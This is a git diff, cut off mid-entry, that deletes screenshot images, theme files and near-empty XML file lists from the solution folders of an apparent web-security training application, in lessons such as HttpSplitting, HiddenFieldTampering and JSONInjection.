a/src/main/webapp/lesson_solutions/ForgotPassword_files/image007.png b/src/main/webapp/lesson_solutions/ForgotPassword_files/image007.png deleted file mode 100644 index 664c24a06..000000000 Binary files a/src/main/webapp/lesson_solutions/ForgotPassword_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForgotPassword_files/image009.png b/src/main/webapp/lesson_solutions/ForgotPassword_files/image009.png deleted file mode 100644 index e0e2ffb7c..000000000 Binary files a/src/main/webapp/lesson_solutions/ForgotPassword_files/image009.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForgotPassword_files/image011.png b/src/main/webapp/lesson_solutions/ForgotPassword_files/image011.png deleted file mode 100644 index 4542c5240..000000000 Binary files a/src/main/webapp/lesson_solutions/ForgotPassword_files/image011.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForgotPassword_files/image013.png b/src/main/webapp/lesson_solutions/ForgotPassword_files/image013.png deleted file mode 100644 index f72055656..000000000 Binary files a/src/main/webapp/lesson_solutions/ForgotPassword_files/image013.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForgotPassword_files/image015.jpg b/src/main/webapp/lesson_solutions/ForgotPassword_files/image015.jpg deleted file mode 100644 index 1f670723b..000000000 Binary files a/src/main/webapp/lesson_solutions/ForgotPassword_files/image015.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForgotPassword_files/image016.jpg b/src/main/webapp/lesson_solutions/ForgotPassword_files/image016.jpg deleted file mode 100644 index 6f8105ce7..000000000 Binary files a/src/main/webapp/lesson_solutions/ForgotPassword_files/image016.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForgotPassword_files/image017.jpg b/src/main/webapp/lesson_solutions/ForgotPassword_files/image017.jpg deleted file mode 100644 index 76540dad8..000000000 Binary files a/src/main/webapp/lesson_solutions/ForgotPassword_files/image017.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForgotPassword_files/image018.jpg b/src/main/webapp/lesson_solutions/ForgotPassword_files/image018.jpg deleted file mode 100644 index 76c23e5ea..000000000 Binary files a/src/main/webapp/lesson_solutions/ForgotPassword_files/image018.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForgotPassword_files/image019.jpg b/src/main/webapp/lesson_solutions/ForgotPassword_files/image019.jpg deleted file mode 100644 index fc38db81d..000000000 Binary files a/src/main/webapp/lesson_solutions/ForgotPassword_files/image019.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForgotPassword_files/image020.jpg b/src/main/webapp/lesson_solutions/ForgotPassword_files/image020.jpg deleted file mode 100644 index c5a2f719f..000000000 Binary files a/src/main/webapp/lesson_solutions/ForgotPassword_files/image020.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForgotPassword_files/image021.jpg b/src/main/webapp/lesson_solutions/ForgotPassword_files/image021.jpg deleted file mode 100644 index 5798c0713..000000000 Binary files a/src/main/webapp/lesson_solutions/ForgotPassword_files/image021.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/ForgotPassword_files/themedata.thmx b/src/main/webapp/lesson_solutions/ForgotPassword_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/ForgotPassword_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/Thumbs.db b/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/Thumbs.db deleted file mode 100644 index ccd50130d..000000000 Binary files a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/Thumbs.db and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/filelist.xml b/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/filelist.xml deleted file mode 100644 index a94e9430b..000000000 --- a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/filelist.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image001.png b/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image001.png deleted file mode 100644 index 3757d471d..000000000 Binary files a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image003.png b/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image003.png deleted file mode 100644 index e3ba2d5cd..000000000 Binary files a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image005.png b/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image005.png deleted file mode 100644 index 1f0d5ebef..000000000 Binary files a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image007.png b/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image007.png deleted file mode 100644 index a715a8db2..000000000 Binary files a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image009.png b/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image009.png deleted file mode 100644 index 2914f15ec..000000000 Binary files a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image009.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image011.jpg b/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image011.jpg deleted file mode 100644 index 06d8b5434..000000000 Binary files a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image011.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image012.jpg b/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image012.jpg deleted file mode 100644 index 3be37d0cf..000000000 Binary files a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image012.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image013.jpg b/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image013.jpg deleted file mode 100644 index 7feef4395..000000000 Binary files a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image013.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image014.jpg b/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image014.jpg deleted file mode 100644 index 6bbe14316..000000000 Binary files a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image014.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image015.jpg b/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image015.jpg deleted file mode 100644 index 02de6c5eb..000000000 Binary files a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/image015.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/themedata.thmx b/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/HiddenFieldTampering_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HtmlClues_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/HtmlClues_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/HtmlClues_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/HtmlClues_files/filelist.xml b/src/main/webapp/lesson_solutions/HtmlClues_files/filelist.xml deleted file mode 100644 index b8f56a1ec..000000000 --- a/src/main/webapp/lesson_solutions/HtmlClues_files/filelist.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/HtmlClues_files/image001.png b/src/main/webapp/lesson_solutions/HtmlClues_files/image001.png deleted file mode 100644 index 16a985f95..000000000 Binary files a/src/main/webapp/lesson_solutions/HtmlClues_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HtmlClues_files/image003.png b/src/main/webapp/lesson_solutions/HtmlClues_files/image003.png deleted file mode 100644 index 6c3b652b2..000000000 Binary files a/src/main/webapp/lesson_solutions/HtmlClues_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HtmlClues_files/image005.png b/src/main/webapp/lesson_solutions/HtmlClues_files/image005.png deleted file mode 100644 index baccb3c43..000000000 Binary files a/src/main/webapp/lesson_solutions/HtmlClues_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HtmlClues_files/image007.png b/src/main/webapp/lesson_solutions/HtmlClues_files/image007.png deleted file mode 100644 index 7fe1df7d1..000000000 Binary files a/src/main/webapp/lesson_solutions/HtmlClues_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HtmlClues_files/image009.png b/src/main/webapp/lesson_solutions/HtmlClues_files/image009.png deleted file mode 100644 index 4e0f0026e..000000000 Binary files a/src/main/webapp/lesson_solutions/HtmlClues_files/image009.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HtmlClues_files/image011.jpg b/src/main/webapp/lesson_solutions/HtmlClues_files/image011.jpg deleted file mode 100644 index 5c887a646..000000000 Binary files a/src/main/webapp/lesson_solutions/HtmlClues_files/image011.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HtmlClues_files/image012.jpg b/src/main/webapp/lesson_solutions/HtmlClues_files/image012.jpg deleted file mode 100644 index 80456d498..000000000 Binary files a/src/main/webapp/lesson_solutions/HtmlClues_files/image012.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HtmlClues_files/image013.jpg b/src/main/webapp/lesson_solutions/HtmlClues_files/image013.jpg deleted file mode 100644 index 38b875113..000000000 Binary files a/src/main/webapp/lesson_solutions/HtmlClues_files/image013.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HtmlClues_files/image014.jpg b/src/main/webapp/lesson_solutions/HtmlClues_files/image014.jpg deleted file mode 100644 index 3a8f380ac..000000000 Binary files a/src/main/webapp/lesson_solutions/HtmlClues_files/image014.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HtmlClues_files/image015.jpg b/src/main/webapp/lesson_solutions/HtmlClues_files/image015.jpg deleted file mode 100644 index a9d131b57..000000000 Binary files a/src/main/webapp/lesson_solutions/HtmlClues_files/image015.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HtmlClues_files/themedata.thmx b/src/main/webapp/lesson_solutions/HtmlClues_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/HtmlClues_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpBasics_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/HttpBasics_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/HttpBasics_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/HttpBasics_files/filelist.xml b/src/main/webapp/lesson_solutions/HttpBasics_files/filelist.xml deleted file mode 100644 index 2d81880c2..000000000 --- a/src/main/webapp/lesson_solutions/HttpBasics_files/filelist.xml +++ /dev/null @@ -1,10 +0,0 @@ - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/HttpBasics_files/image001.png b/src/main/webapp/lesson_solutions/HttpBasics_files/image001.png deleted file mode 100644 index 783a404ed..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpBasics_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpBasics_files/image003.png b/src/main/webapp/lesson_solutions/HttpBasics_files/image003.png deleted file mode 100644 index 7d0a0830c..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpBasics_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpBasics_files/image005.jpg b/src/main/webapp/lesson_solutions/HttpBasics_files/image005.jpg deleted file mode 100644 index 7b9b508a5..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpBasics_files/image005.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpBasics_files/image006.jpg b/src/main/webapp/lesson_solutions/HttpBasics_files/image006.jpg deleted file mode 100644 index cb6599a1f..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpBasics_files/image006.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpBasics_files/themedata.thmx b/src/main/webapp/lesson_solutions/HttpBasics_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpBasics_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpBasics_files/webscarab1.jpg b/src/main/webapp/lesson_solutions/HttpBasics_files/webscarab1.jpg deleted file mode 100644 index 5abdf6f73..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpBasics_files/webscarab1.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpBasics_files/webscarab2.jpg b/src/main/webapp/lesson_solutions/HttpBasics_files/webscarab2.jpg deleted file mode 100644 index 982f3f7bc..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpBasics_files/webscarab2.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpOnly_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/HttpOnly_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/HttpOnly_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/HttpOnly_files/filelist.xml b/src/main/webapp/lesson_solutions/HttpOnly_files/filelist.xml deleted file mode 100644 index b6972bfed..000000000 --- a/src/main/webapp/lesson_solutions/HttpOnly_files/filelist.xml +++ /dev/null @@ -1,20 +0,0 @@ - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/HttpOnly_files/image001.png b/src/main/webapp/lesson_solutions/HttpOnly_files/image001.png deleted file mode 100644 index 169190729..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpOnly_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpOnly_files/image003.png b/src/main/webapp/lesson_solutions/HttpOnly_files/image003.png deleted file mode 100644 index 597cc80eb..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpOnly_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpOnly_files/image005.png b/src/main/webapp/lesson_solutions/HttpOnly_files/image005.png deleted file mode 100644 index 24e98dab8..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpOnly_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpOnly_files/image007.png b/src/main/webapp/lesson_solutions/HttpOnly_files/image007.png deleted file mode 100644 index 6b5f8cb64..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpOnly_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpOnly_files/image009.png b/src/main/webapp/lesson_solutions/HttpOnly_files/image009.png deleted file mode 100644 index 443fc7029..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpOnly_files/image009.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpOnly_files/image011.png b/src/main/webapp/lesson_solutions/HttpOnly_files/image011.png deleted file mode 100644 index a378ec244..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpOnly_files/image011.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpOnly_files/image013.png b/src/main/webapp/lesson_solutions/HttpOnly_files/image013.png deleted file mode 100644 index 98535fdfe..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpOnly_files/image013.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpOnly_files/image015.jpg b/src/main/webapp/lesson_solutions/HttpOnly_files/image015.jpg deleted file mode 100644 index efbe77300..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpOnly_files/image015.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpOnly_files/image016.jpg b/src/main/webapp/lesson_solutions/HttpOnly_files/image016.jpg deleted file mode 100644 index 195c2529b..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpOnly_files/image016.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpOnly_files/image017.jpg b/src/main/webapp/lesson_solutions/HttpOnly_files/image017.jpg deleted file mode 100644 index 91d8d9c6d..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpOnly_files/image017.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpOnly_files/image018.jpg b/src/main/webapp/lesson_solutions/HttpOnly_files/image018.jpg deleted file mode 100644 index adc7a901e..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpOnly_files/image018.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpOnly_files/image019.jpg b/src/main/webapp/lesson_solutions/HttpOnly_files/image019.jpg deleted file mode 100644 index acfd921d1..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpOnly_files/image019.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpOnly_files/image020.jpg b/src/main/webapp/lesson_solutions/HttpOnly_files/image020.jpg deleted file mode 100644 index 4c564391a..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpOnly_files/image020.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpOnly_files/image021.jpg b/src/main/webapp/lesson_solutions/HttpOnly_files/image021.jpg deleted file mode 100644 index 56107235b..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpOnly_files/image021.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpOnly_files/themedata.thmx b/src/main/webapp/lesson_solutions/HttpOnly_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpOnly_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/HttpSplitting_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/HttpSplitting_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/filelist.xml b/src/main/webapp/lesson_solutions/HttpSplitting_files/filelist.xml deleted file mode 100644 index 8b4e1e66e..000000000 --- a/src/main/webapp/lesson_solutions/HttpSplitting_files/filelist.xml +++ /dev/null @@ -1,34 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image001.png b/src/main/webapp/lesson_solutions/HttpSplitting_files/image001.png deleted file mode 100644 index a3cecc9aa..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image003.png b/src/main/webapp/lesson_solutions/HttpSplitting_files/image003.png deleted file mode 100644 index d62c55ea3..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image005.png b/src/main/webapp/lesson_solutions/HttpSplitting_files/image005.png deleted file mode 100644 index 4168195ac..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image007.png b/src/main/webapp/lesson_solutions/HttpSplitting_files/image007.png deleted file mode 100644 index d9f29ebed..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image009.png b/src/main/webapp/lesson_solutions/HttpSplitting_files/image009.png deleted file mode 100644 index c75a97ac6..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image009.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image011.png b/src/main/webapp/lesson_solutions/HttpSplitting_files/image011.png deleted file mode 100644 index addd9bce4..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image011.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image013.png b/src/main/webapp/lesson_solutions/HttpSplitting_files/image013.png deleted file mode 100644 index 4f70cbce7..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image013.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image015.png b/src/main/webapp/lesson_solutions/HttpSplitting_files/image015.png deleted file mode 100644 index 08c036f4e..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image015.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image017.png b/src/main/webapp/lesson_solutions/HttpSplitting_files/image017.png deleted file mode 100644 index 9dccc349f..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image017.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image019.png b/src/main/webapp/lesson_solutions/HttpSplitting_files/image019.png deleted file mode 100644 index 17708a3d7..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image019.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image021.png b/src/main/webapp/lesson_solutions/HttpSplitting_files/image021.png deleted file mode 100644 index 59bec4ece..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image021.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image023.png b/src/main/webapp/lesson_solutions/HttpSplitting_files/image023.png deleted file mode 100644 index 8887f463b..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image023.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image025.png b/src/main/webapp/lesson_solutions/HttpSplitting_files/image025.png deleted file mode 100644 index 83279f010..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image025.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image027.png b/src/main/webapp/lesson_solutions/HttpSplitting_files/image027.png deleted file mode 100644 index ac9b0590f..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image027.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image029.jpg b/src/main/webapp/lesson_solutions/HttpSplitting_files/image029.jpg deleted file mode 100644 index 1f2923a0d..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image029.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image030.jpg b/src/main/webapp/lesson_solutions/HttpSplitting_files/image030.jpg deleted file mode 100644 index 5c309829a..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image030.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image031.jpg b/src/main/webapp/lesson_solutions/HttpSplitting_files/image031.jpg deleted file mode 100644 index 296995e6d..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image031.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image032.jpg b/src/main/webapp/lesson_solutions/HttpSplitting_files/image032.jpg deleted file mode 100644 index 04b19c12d..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image032.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image033.jpg b/src/main/webapp/lesson_solutions/HttpSplitting_files/image033.jpg deleted file mode 100644 index 1e20add5b..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image033.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image034.jpg b/src/main/webapp/lesson_solutions/HttpSplitting_files/image034.jpg deleted file mode 100644 index cc30af047..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image034.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image035.jpg b/src/main/webapp/lesson_solutions/HttpSplitting_files/image035.jpg deleted file mode 100644 index 0e01db1ea..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image035.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image036.jpg b/src/main/webapp/lesson_solutions/HttpSplitting_files/image036.jpg deleted file mode 100644 index 51964a9bb..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image036.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image037.jpg b/src/main/webapp/lesson_solutions/HttpSplitting_files/image037.jpg deleted file mode 100644 index 9f8efcbb7..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image037.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image038.jpg b/src/main/webapp/lesson_solutions/HttpSplitting_files/image038.jpg deleted file mode 100644 index 036e50e47..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image038.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image039.jpg b/src/main/webapp/lesson_solutions/HttpSplitting_files/image039.jpg deleted file mode 100644 index 81b54f365..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image039.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image040.jpg b/src/main/webapp/lesson_solutions/HttpSplitting_files/image040.jpg deleted file mode 100644 index caf41923a..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image040.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image041.jpg b/src/main/webapp/lesson_solutions/HttpSplitting_files/image041.jpg deleted file mode 100644 index cd100cf63..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image041.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/image042.jpg b/src/main/webapp/lesson_solutions/HttpSplitting_files/image042.jpg deleted file mode 100644 index 9a48ce5a4..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/image042.jpg and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/HttpSplitting_files/themedata.thmx b/src/main/webapp/lesson_solutions/HttpSplitting_files/themedata.thmx deleted file mode 100644 index 55426d8ec..000000000 Binary files a/src/main/webapp/lesson_solutions/HttpSplitting_files/themedata.thmx and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/InsecureLogin_files/wireshark1.png b/src/main/webapp/lesson_solutions/InsecureLogin_files/wireshark1.png deleted file mode 100644 index 135fc3606..000000000 Binary files a/src/main/webapp/lesson_solutions/InsecureLogin_files/wireshark1.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JSONInjection_files/colorschememapping.xml b/src/main/webapp/lesson_solutions/JSONInjection_files/colorschememapping.xml deleted file mode 100644 index b200daa38..000000000 --- a/src/main/webapp/lesson_solutions/JSONInjection_files/colorschememapping.xml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/JSONInjection_files/filelist.xml b/src/main/webapp/lesson_solutions/JSONInjection_files/filelist.xml deleted file mode 100644 index 3f7752feb..000000000 --- a/src/main/webapp/lesson_solutions/JSONInjection_files/filelist.xml +++ /dev/null @@ -1,18 +0,0 @@ - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions/JSONInjection_files/image001.png b/src/main/webapp/lesson_solutions/JSONInjection_files/image001.png deleted file mode 100644 index cfdb7b042..000000000 Binary files a/src/main/webapp/lesson_solutions/JSONInjection_files/image001.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JSONInjection_files/image003.png b/src/main/webapp/lesson_solutions/JSONInjection_files/image003.png deleted file mode 100644 index 217f69bd7..000000000 Binary files a/src/main/webapp/lesson_solutions/JSONInjection_files/image003.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JSONInjection_files/image005.png b/src/main/webapp/lesson_solutions/JSONInjection_files/image005.png deleted file mode 100644 index affeaa193..000000000 Binary files a/src/main/webapp/lesson_solutions/JSONInjection_files/image005.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JSONInjection_files/image007.png b/src/main/webapp/lesson_solutions/JSONInjection_files/image007.png deleted file mode 100644 index 709f70b6a..000000000 Binary files a/src/main/webapp/lesson_solutions/JSONInjection_files/image007.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JSONInjection_files/image009.png b/src/main/webapp/lesson_solutions/JSONInjection_files/image009.png deleted file mode 100644 index b7d120e45..000000000 Binary files a/src/main/webapp/lesson_solutions/JSONInjection_files/image009.png and /dev/null differ diff --git a/src/main/webapp/lesson_solutions/JSONInjection_files/image011.png b/src/main/webapp/lesson_solutions/JSONInjection_files/image011.png deleted file mode 100644 index 3d93d05e5..000000000 Binary files a/src/main/webapp/lesson_solutions/JSONInjection_files/image011.png and /dev/null differ diff --git 